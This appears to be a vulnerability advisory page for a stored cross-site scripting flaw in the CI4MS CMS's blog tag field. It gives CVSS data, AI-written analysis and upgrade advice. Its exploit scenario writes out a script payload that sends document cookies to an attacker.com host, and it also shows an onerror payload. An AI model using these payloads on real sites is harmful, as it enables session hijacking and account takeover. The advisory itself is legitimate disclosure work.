EUVD-2026-18070
GHSA-4333-387x-w245
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L
Lifecycle Timeline
4DescriptionGitHub Advisory
CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. Prior to version 0.31.0.0, the application fails to properly sanitize user-controlled input when creating or editing blog tags. An attacker can inject a malicious JavaScript payload into the tag name field, which is then stored server-side. This stored payload is later rendered unsafely across public tag pages and administrative interfaces without proper output encoding, leading to stored cross-site scripting (XSS). This issue has been patched in version 0.31.0.0.
AnalysisAI
Stored cross-site scripting in CI4MS blog tag management (versions prior to 0.31.0.0) allows authenticated attackers to inject malicious JavaScript through unsanitized tag name fields, achieving code execution in victim browsers with scope change (CVSS 9.1, S:C). The payload persists server-side and executes on public tag pages and administrative interfaces, enabling session hijacking, credential theft, and administrative account compromise. …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Requires authenticated attacker with blog tag creation/editing privileges in CI4MS versions before 0.31.0.0. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS score of 9.1 (Critical) reflects the severe technical characteristics: network-based attack vector (AV:N), low complexity (AC:L), scope change (S:C), and high confidentiality impact (C:H). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker with low-privilege authenticated access (such as a content editor account) logs into the CI4MS administrative interface and navigates to the blog tag management section. They create a new tag with a name containing a malicious JavaScript payload, such as '<script>fetch("https://attacker.com/exfil?cookie="+document.cookie)</script>' or an event handler like '<img src=x onerror=alert(document.domain)>'. … |
| Remediation | Organizations running CI4MS must immediately upgrade to version 0.31.0.0 or later, which implements proper input sanitization and output encoding for blog tag fields. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: Identify all CI4MS installations and document current versions in use; audit user accounts with tag creation privileges and disable unnecessary access. …
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External POC / Exploit Code
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